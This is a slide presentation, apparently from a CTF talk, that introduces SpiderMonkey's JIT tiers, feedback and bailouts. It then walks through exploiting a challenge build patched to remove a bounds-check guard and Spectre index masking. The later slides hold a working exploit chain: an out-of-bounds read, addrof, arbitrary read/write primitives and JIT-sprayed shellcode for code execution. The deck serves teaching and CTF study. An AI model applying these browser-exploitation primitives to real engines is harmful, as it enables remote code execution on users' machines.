## Introduction to SpiderMonkey exploitation ju256 22.06.2023 --- ## SpiderMonkey <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/d8365847-5ad8-4f7e-8b3e-fc37201f5a58.png" width=100 height=100/> * Firefox JavaScript (+ WebAssembly) runtime * [Open source](https://github.com/mozilla/gecko-dev/tree/master/js/src) * Bytecode interpreter + baseline compiler + optimizing compiler --- ## JavaScript execution in SpiderMonkey <img style="background:none; border:none; box-shadow:none;" src="https://mathiasbynens.be/_img/js-engines/interpreter-optimizing-compiler-spidermonkey.svg" width=1000 height=530/> --- ## Hot functions, feedback and tier-ups ```javascript function foo(o) { return o.a * 10; } foo({a: 5}); // => 50 ``` Do we want to create highly optimized code directly? --- ```javascript function foo(o) { return o.a * 10; } foo({a: 5}); // => 50 ``` Do we want to create highly optimized code directly? **No**, JIT compilation is expensive --- How about now? ```javascript function foo(o) { return o.a * 10; } for (let i = 0; i < 10000; i++) { foo({a: i}); } ``` --- * Repeated execution => Function gets hot! * Lower execution times outweigh compile time * Hot functions will be elevated to next tier * Bytecode -> Baseline JIT * Baseline JIT -> Optimizing JIT --- * JavaScript has virtually no types * Optimizations without type information? --- ## Feedback to the rescue! * Every bytecode instruction collects type information of their operands during execution * This is called feedback and will be relied on to create highly optimized code! --- * Parameter *o* is an object with structure {a: INT} in previous executions * Spidermonkey assumes that this will also be the case in future executions ```javascript function foo(o) { return o.a * 10; } for (let i = 0; i < 10000; i++) { foo({a: i}); // shape: {a: INT} } ``` * Optimized code looks very different for the same operation on integers vs. strings for example --- What happens if those assumptions are broken? ```javascript function foo(o) { return o.a * 10; } for (let i = 0; i < 10000; i++) { foo({a: i}); } foo({a: "asdf"}); ``` --- ```javascript function foo(o) { return o.a * 10; } for (let i = 0; i < 10000; i++) { foo({a: i}); // shape: {a: INT} } foo({a: "asdf"}); // shape: {a: STRING} | type of a changed ``` * *Structure* or *shape* of *o* stays the same, but type of property *a* changed * Optimized code is not correct anymore! --- ## Bailouts ```python mov rax, [rdi+8] # lookup shape of o cmp rax, <SHAPE> jne BAILOUT_WRONG_SHAPE mov rbx, [rax+0x18] # read property a of o mov rcx, rbx shr rcx, 47 # extract type cmp rcx, 1 # JSVAL_TYPE_INT32 jne BAILOUT_NOT_INT movabs rcx, 0x7fffffffffff # 2**47 - 1 and rbx, rcx # extract value imul rax, rbx, 10 mov rbx, 1 shl rbx, 47 or rax, rbx # set type information ret BAILOUT_WRONG_SHAPE: BAILOUT_NOT_INT: jmp BAILOUT_TO_INTERPRETER ``` <p style="font-size: 24px"> Simplified example pseudocode. The general idea is the same though </p> --- ## Example execution ```javascript function foo(o) { return o.a * 10; } for (let i = 0; i < 10000; i++) { foo({a: i}); } ``` --- ## Bytecode ```javascript loc line op ----- ---- -- main: 00000: 2 GetArg 0 # o 00003: 2 GetProp "a" # o.a 00008: 2 Int8 10 # o.a 10 00010: 2 Mul # (o.a * 10) 00011: 3 Return # 00012: 3 RetRval # !!! UNREACHABLE !!! ``` --- ## Graph representation <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/ea859262-d98f-4310-8cfb-c6e8c292e28f.png" width=650 height=550/> --- ## Native code <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/8918b31a-90b0-4528-a03d-f24821c059bf.png" width=900 height=450/> (We skipped the baseline compiler step) --- # IonMonkey * Called WarpMonkey now but still uses a lot of the old IonMonkey code * Optimizing JIT compiler (highest tier) * Relies on feedback collected in lower tiers --- 1. Bytecode transformed to *MIR* (Mid-level Intermediate Representation) 2. Graph creation 3. [Run optimization passes](https://github.com/mozilla/gecko-dev/blob/master/js/src/jit/Ion.cpp#L948) (e.g. Range Analysis, Constant Folding, ...) 4. MIR is lowered to *LIR* (Low-level Intermediate Representation) 5. Register allocation + code generation (For more information see [Ion.cpp](https://github.com/mozilla/gecko-dev/blob/master/js/src/jit/Ion.cpp) and [IonAnalysis.cpp](https://github.com/mozilla/gecko-dev/blob/master/js/src/jit/IonAnalysis.cpp)) --- ## The challenge ```diff diff --git a/js/src/jit/IonAnalysis.cpp b/js/src/jit/IonAnalysis.cpp --- a/js/src/jit/IonAnalysis.cpp +++ b/js/src/jit/IonAnalysis.cpp @@ -3768,10 +3768,12 @@ static bool TryEliminateBoundsCheck(Boun return false; } + /* if (dominating == dominated) { // We didn't find a dominating bounds check. return true; } + */ ``` --- ```diff diff --git a/js/src/jit/JitOptions.cpp b/js/src/jit/JitOptions.cpp --- a/js/src/jit/JitOptions.cpp +++ b/js/src/jit/JitOptions.cpp @@ -273,7 +273,7 @@ DefaultJitOptions::DefaultJitOptions() { SET_DEFAULT(spectreValueMasking, false); SET_DEFAULT(spectreJitToCxxCalls, false); #else - SET_DEFAULT(spectreIndexMasking, true); + SET_DEFAULT(spectreIndexMasking, false); SET_DEFAULT(spectreObjectMitigations, true); SET_DEFAULT(spectreStringMitigations, true); SET_DEFAULT(spectreValueMasking, true); ``` We will look at how this works in detail later --- ## Bounds check elimination * Spidermonkey eliminates bounds checks that are dominated by an equivalent bounds check <img style="background:none; border:none; box-shadow:none;" src="https://c.m5w.de/uploads/2de8d3c8-a86a-4be1-8aca-5d020ff19bfb.png" width=420 height=500/> <p style="font-size: 24px"> Assuming no side-effects on the array access or the operations inbetween </p> --- * Range analysis is not considered * Even though *i* is provably in bounds here, the bounds check will not be removed ```javascript function foo(i) { let arr = new Array(20); arr.fill(0x69); i = 0; return arr[i]; } ``` --- ## Sidenote: Bounds check Elimination in V8 * More aggressive bounds check elimination in the past (for example based on range analysis) * Killed because this was heavily abused to exploit JIT bugs --- * When no dominating bounds check can be found the elimination should be aborted * Patch removes this core check * The original idea for the challenge was quite different but didn't end up working in time <img style="background:none; border:none; box-shadow:none;" src="https://cdn.frankerfacez.com/emoticon/303225/4" width=60 height=40/> --- ```cpp MBoundsCheck* dominating = FindDominatingBoundsCheck(checks, dominated, blockIndex); /* if (dominating == dominated) { // We didn't find a dominating bounds check. return true; } */ ``` The following index and length checks are passed ```cpp if (dominating->length() != dominated->length()) { return true; } SimpleLinearSum sumA = ExtractLinearSum(dominating->index()); SimpleLinearSum sumB = ExtractLinearSum(dominated->index()); if (sumA.term != sumB.term) { return true; } ``` --- Since the traversal is done in pre-order **all** bounds checks will be eliminated 🦀 Even if there would be only one bounds check --- ## Now what? ```javascript function hax(idx) { let oob = new Array(); for(let i = 0; i < 7; i++) { oob[i] = 1.1; } return oob[idx]; } for (var i = 0; i < 10000; i++) { hax(i % 4); } for (let i = 10; i < 20; i++) { console.log(hax(i)); } /* 0 -> 0x0 1.4853970537e-313 -> 0x700000000 1.1 -> 0x3ff199999999999a 1.1 -> 0x3ff199999999999a 6.9310468361157e-310 -> 0x7f96de338720 0 -> 0x0 1.1 -> 0x3ff199999999999a 1.1 -> 0x3ff199999999999a 1.27319747463e-313 -> 0x600000001 4.64411054590235e-310 -> 0x557d94188d00 */ ``` --- ## Original vs patched graph <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/bb897836-f1aa-41aa-b4ca-affe0f4b5cec.png" width=1500 height=450/> Only the relevant block is shown --- ## spectreMaskIndex * Mitigation that would prevent us from exploiting this * Boundscheck is eliminated but index masking keeps the index in bounds ```python index %= length array[index] ``` * Originally introduced as a spectre mitigation * Most spectre mitigations have been removed by now * index masking stayed --- ## Sidenote: Debugging * Follow the [Firefox build instructions](https://firefox-source-docs.mozilla.org/setup/linux_build.html) and use the following mozconfig options to get a debug build ``` # Only build JS shell ac_add_options --enable-project=js # Enable the debugging tools: Assertions, debug only code etc. ac_add_options --enable-debug # Logging can be enabled during JIT compilation ac_add_options --enable-jitspew ``` --- * Logging is mostly controlled with environment variables * Most importantly *IONFLAGS* ``` IONFLAGS=<options as csv> ./js IONFLAGS=help List all options IONFLAGS=mir MIR information IONFLAGS=codegen Native code generation IONFLAGS=bailouts Bailouts IONFLAGS=logs JSON visualization logging ``` * Graph representation of different optimization passes with IONFLAGS=logs and [iongraph](https://github.com/sstangl/iongraph) --- # Exploitation First we use the OOB access to get a more convenient OOB primitive ```javascript function hax(i) { let oob = new Array(); for(let i = 0; i < 7; i++) { oob[i] = 0x11111111; } let ab1 = new BigUint64Array(4); ab1.fill(0x66n); let ab2 = new BigUint64Array(0x10); ab2.fill(0x77n); ab2.addrof_slot = ab1; oob[i] = u2f(0x1337n); return [ab1, ab2]; } // Force JIT compilation function make_overlap() { let [ab1, ab2] = hax(19); if (ab1.length != 0x1337) { throw "length overwrite failed!"; } return [ab1, ab2]; } ``` --- ## Overlap memory layout <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/9b801cdb-7639-4205-be8b-3197e1480a97.png" width=1250 height=650/> --- ## addrof + fakeobj * general browser exploitation primitives * addrof(obj) => pointer to obj * fakeobj(pointer) => object @ pointer * fakeobj redundant if we have an (arbitrary) read/write ```javascript var o = {a: 1, b: 2}; var faked = fakeobj(addrof(o)); console.log(faked); // {a: 1, b: 2} assert(o === faked); ``` --- ## addrof ```javascript let addrof_overlap = null; function addrof(o) { if (addrof_overlap === null) { addrof_overlap = make_overlap(); } let [ab1, ab2] = addrof_overlap; ab2.addrof_slot = o; return ab1[30] & 0x7fffffffffffn; } ``` --- ## Arbitrary read/write * Overwrite elements pointer of ab2 with the OOB on ab1 * Accessing index 0 of the ab2 will access our pointer <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/ccc69c43-5c7f-4992-a875-b1619770e986.png" width=1100 height=200/> --- ```javascript let rw_overlap = null; function read64(ptr) { if (rw_overlap === null) { rw_overlap = make_overlap(); } // ab1[11] @ ab2.elements_ptr rw_overlap[0][11] = ptr; // return ab2[0] return rw_overlap[1][0]; } function write64(ptr, value) { if (rw_overlap === null) { rw_overlap = make_overlap(); } rw_overlap[0][11] = ptr; rw_overlap[1][0] = value; } ``` --- ## RCE * JIT spraying * Force JIT compilation of function returning float array * Encode shellcode in the floats * IonMonkey places the floats consecutively in JIT code (executable memory :fire:) ```javascript // 0x414141414141, 0x414141414141 const shellcode = () => [3.54484805889626e-310, 3.54484805889626e-310]; for (var i = 0; i < 10000; i++) { shellcode(); } ``` --- ## How do we use this? * shellcode() function object contains code pointer to the JIT region * Push this code pointer forward to the floats we placed * Constant offset or search for our code with the arbitary read * Calling shellcode leads to our shellcode being executed --- ```javascript var shellcodeAddr = addrof(shellcode); console.log("shellcode func @ " + hex(shellcodeAddr)); var jitPagePtr = read64(shellcodeAddr + 0x28n); var jitPage = read64(jitPagePtr); console.log("shellcode JIT page @ " + hex(jitPage)); // push code pointer forward to hit our shellcode write64(jitPagePtr, jitPage + 0x170n); // execute our shellcode shellcode(); ``` --- # Any questions? <img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/c3ff5cdc-f994-498f-a9e0-bbf634115eda.png" width=800 height=300/>
{"title":"Introduction to spidermonkey exploitation","tags":"presentation","type":"slide","slideOptions":{"transition":"fade","width":"65%","height":"80%","margin":0,"minScale":1,"maxScale":1}}